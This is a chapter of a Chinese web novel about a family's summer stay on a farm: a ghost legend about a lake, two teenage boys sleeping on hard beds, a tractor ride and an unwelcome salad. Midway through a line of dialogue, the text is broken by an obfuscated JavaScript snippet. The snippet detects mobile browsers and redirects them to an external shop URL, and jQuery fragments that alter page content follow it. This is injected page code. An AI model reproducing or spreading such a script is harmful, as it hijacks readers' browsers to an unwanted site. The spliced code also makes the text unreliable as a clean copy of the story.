晚上下起了暴雨，屋外雨声甚至盖过了动物声，小屋内一片寂静，大家都坐在餐桌前，乔为了迎接他们的到来准备了一份大餐，烤乳猪、米布丁、通心粉和奶酪、炸鸡、苹果派等等都是他从镇子里带上来的，小镇虽小，但是一些餐馆的食物是真的很美味。
用餐时沃伦又向他问起了那个问题：“之前您说的湖里的诅咒是什么意思？”
乔闻言，举起金黄透彻的香槟兴高采烈地说：“那是很久传言啦！要不是因为那个湖水我也不会买下这片土地。”
“是什么传言？”艾伦知道好友的老毛病又犯了，很配合的接茬。
乔顿时红光满面的讲诉起这么个故事——
美国二战时期，这里住着当地的土豪乡绅马尔塔一家，但是因为战争的爆发，工厂破产大家生活都变得困难起来，马尔塔一家没有办法只能变卖了所有能买的东西，最后只剩下一块农场和农场中的小屋，他们被迫搬到了以前不屑一顾的农场中居住，为了生存家里的老人、青年全都出去用自己双手寻找生存的机会，长子为了恢复家族名誉、寻找新的机会前往了战场。
但随着时间一点点过去长子一直没有回到家里，家里的老人累死在了工厂，家里的次女幼女相继嫁了出去，逃离了这里，最后家中只剩下长子的妻子以及他的三个孩子，妻子很努力的工作，每天工作到深夜，但是微薄的薪水根本养不起孩子，绝望一点点压倒了这个小家庭，妻子想不开便带着三个孩子跳湖自杀，之后传闻每年妻子跳湖的那个时间都会有一个幽灵在附近徘徊寻找自己的孩子。
“................................”一片沉默。
乔得意洋洋的表示：“我就是为了这片湖买的这里，农场里有那么神奇的东西实在是太酷了！”
“.......”艾伦和戴安娜对视了一眼表示：“亲爱的要不我们坐明天的飞机回去吧。”
沃伦双手还拿着刀叉就已经想去收拾行李了，他只想要平静的生活，不想住在投湖过的隔壁。
乔连忙阻拦：“停停停！有什么可怕的！这所农场都转手三次了！没有人出过事的！”
戴安娜问：“那他们为什么要转卖农场呢？”美国人都有一个农场梦，能拥有一间自给自足的农场是很多都市人都羡慕的事情。
乔不当一回事：“转卖土地这件事为什么要追究那么深呢！你看我在当地雇佣帮工都那么顺利，这里的事情只是传说而已，当地人都靠着湖水生活呢。”
艾伦和戴安娜的一向谨慎，对乔的回答保持观望态度，要是真有什么不对就直接开车跑就好了。
屋外的大雨还在劈里啪啦的下，在桌子旁啃着猪腿骨的牧羊犬机敏的竖起了耳朵，沃伦发现了它的动作，只见狗狗耳朵抖了抖又接着啃着骨头，一副波澜不惊的模样。
接着是一片亮光划过，震耳欲聋的雷声响起。
“喔哦，今天的雷雨真可怕啊。”乔耸耸肩看着外面，好在他早就把动物们关到农舍里去了，这点暴风雨影响不了什么。
戴安娜在这里之前看过天气预报：“天气预报没说这里会有雷阵雨啊。”
乔笑了笑：“还好，这样的雷阵雨很少见。”
和乔说的一样，雷阵雨后半夜就停了下来，只有点浠沥沥的雨声，沃伦躺在硬木板床上睡不着，他和凯登睡一个房间，房间里有两张单人床，避免了两个青少年睡一起会觉得尴尬，沃伦因为更高点，睡在大些的床上，他的床铺靠近窗户，两人床铺之间留有一人过的距离。
沃伦在床上想翻个身，但是他稍微动一下铁架木板床就会发出吱嘎吱嘎的声音。
房间二楼的窗户都是高且小的，沃伦只能睁着眼睛盯着黑漆漆中又透进了点亮的窗户发呆。
“睡不着？”突然想起的声音吓得沃伦浑身一抖，他回头看见凯登也睁着眼睛看他。
两个清晰的从对方眼里看到了疲惫、睡意，两人都被木板床折磨的睡不着。
沃伦痛苦的说：“我感觉自己睡在一块石头上。”浑身都被硬的可怕的床搁的生疼。
凯登也嗯了一句，他感同身受。
显然两个出生都不算差的年轻人从未受过这样的苦，一张小小的木板床就让他们两个想家了。
沃伦提议：“要不去隔壁找找有没有被子什么的垫一下？”
凯登翻身坐起来，用行动表明想法，他非常支持。
两人蹑手蹑脚的出门，怕吵醒其他人，好在房子的静音还可以，没人出来。
隔壁是乔堆放杂物的地方，乔生性不爱整理，什么乱七八糟的、有的没的、只要是看不顺眼不常用的全都往里面塞。
两人在里面翻出了草叉、木棍、废弃的马鞍等等东西，好在房子是新建的，里面没什么灰尘，不知道翻了多久，才在一个大纸箱里翻出了几床被子，纸箱上还有搬家时的胶带，看样子乔根本没想起来这里还有被子，两人抱着被子回去垫在没什么用的被褥下面，这才觉得舒适了一些。
沃伦想起了豌豆公主的故事，忍不住傻笑了一下，凯登奇怪的看了他一眼，沃伦捂住嘴巴：“没什么，睡吧。”
这声音像是有魔力，凯登闭上眼睛，很快就睡着了。
雨声渐渐消失，夏日的农场里夜晚很热闹，过了一会虫子的叫声此起彼伏的响起，沃伦在虫鸣声里进入梦乡。
第二天清晨，沃伦一支睡到被热醒，爬起来一看手机，自己居然睡到了11点！
旁边凯登早就不见踪迹了，沃伦觉得有些尴尬自己在别人家里睡得那么晚，又有点生气凯登自己走了。
刚推开房门沃伦就看见凯登正端了条凳子坐在房门口拿着一本书看。
看见沃伦终于起床，他指了指旁边小桌上的托盘，里面有一块厨房油纸包着的面包和一个装着牛奶的玻璃瓶：“早？”
“....”沃伦感到一丝羞愧接过两样东西，两三口就解决了东西。
“其他人呢？”沃伦吃完东西拿出手帕擦擦手问道。
“去坐拖拉机了。”凯登一边看着书一遍回答。
“你怎么没去。”
“外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222901|139371||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太晒了。”
沃伦刚走出小屋就被外面炙热的光线烤了回去，可能和昨晚下雨有关，现在天空万里无云，天空格外的明亮，亮的眼睛疼。
他被热的重新上楼，温度差一下就体现了出来，凯登坐的地方有股对流风一直吹着十分凉爽，怪不得坐在房间门口。沃伦走回房间也拿了椅子和书出来，两人坐在一起就这样安静的看书。
下午一两点的时候大人们才回来，看见两个青少年乖巧的坐在二楼看书，乔忍不住感叹：“怎么你家的孩子都那么安静？我的侄子和他们差不多大，就像是跳蚤，不是一般的吵闹。”
戴安娜被他的形容逗笑了：“什么叫像跳蚤一样，可能是天太热了，他们不想出去吧。”戴安娜他们出去的早，对外面的变化适应的比两个晚起的男孩好。
本来就是农场避暑的，天气太热孩子不想出门也没什么的。
艾伦提着手上的食物对两个孩子招呼：“中午我们有新的好吃的，快来。”
沃伦开心的来到厨房，本以为是有什么好吃的，结果——
一堆菜叶上摆着的几片熏火腿和一点酱料........
他心死的指着这堆黄白相间的菜叶：“我们就吃这个？”
凯登用叉子翻开菜叶，没找到任何东西。
“这可是农场里最新鲜的蔬菜！很健康的！”艾伦说。
沃伦脸上克制不住的露出嫌弃的表情，主要是针对熏火腿，他讨厌烟熏味的东西。
凯登也是沉默的翻了翻菜叶子，看了看沃伦又看看三个笑着交谈的大人，沉默的把菜叶往嘴巴里塞。
沃伦挑开火腿片，把酱料倒碗里拌了拌，吃进去的第一口他的脸由白变紫，酸的苦的青涩的味道直冲大脑，这玩意是真的很难吃。他开始怀念家里的牛排芝士干面包鸡腿肉甚至是西兰花。
一口下去，两个青少年对视一眼，在彼此的眼中看出同病相怜的意味。
“我开始想家了。”沃伦嘟嘟囔囔的抱怨。
“下午带你们去坐拖拉机怎么样！”乔突然提议。
“什么？”沃伦不敢相信自己的耳朵，“坐什么？”
“拖拉机！我买了一台兰博基尼的拖拉机！”
就这样沃伦和凯登坐上了兰博基尼拖拉机，他们坐着拖拉机在玉米地旁打转，一边乔兴致勃勃地握着把手念：“这个是......转弯要这样.....”
沃伦被拖拉机地声音吵得头疼，脑袋随着拖拉机地前进一摇一摆。
凯登听的倒是挺认真的，就是两眼有点放空。
显然两人都不是很喜欢拖拉机，乔的显摆欲被两个孩子的冷漠表现浇灭了。
乔停车让两人下去，不是很满意的说：“男孩子怎么会不喜欢拖拉机呢？！”
沃伦扯扯嘴角：“我只喜欢看。”凯登没出声。
艾伦看孩子们对拖拉机不感兴趣，自己便爬了上去。
戴安娜也被拖拉机的轰鸣吵得头痛：“我们去镇上逛逛吧？”
沃伦迫不及待地答应，凯登也点点头。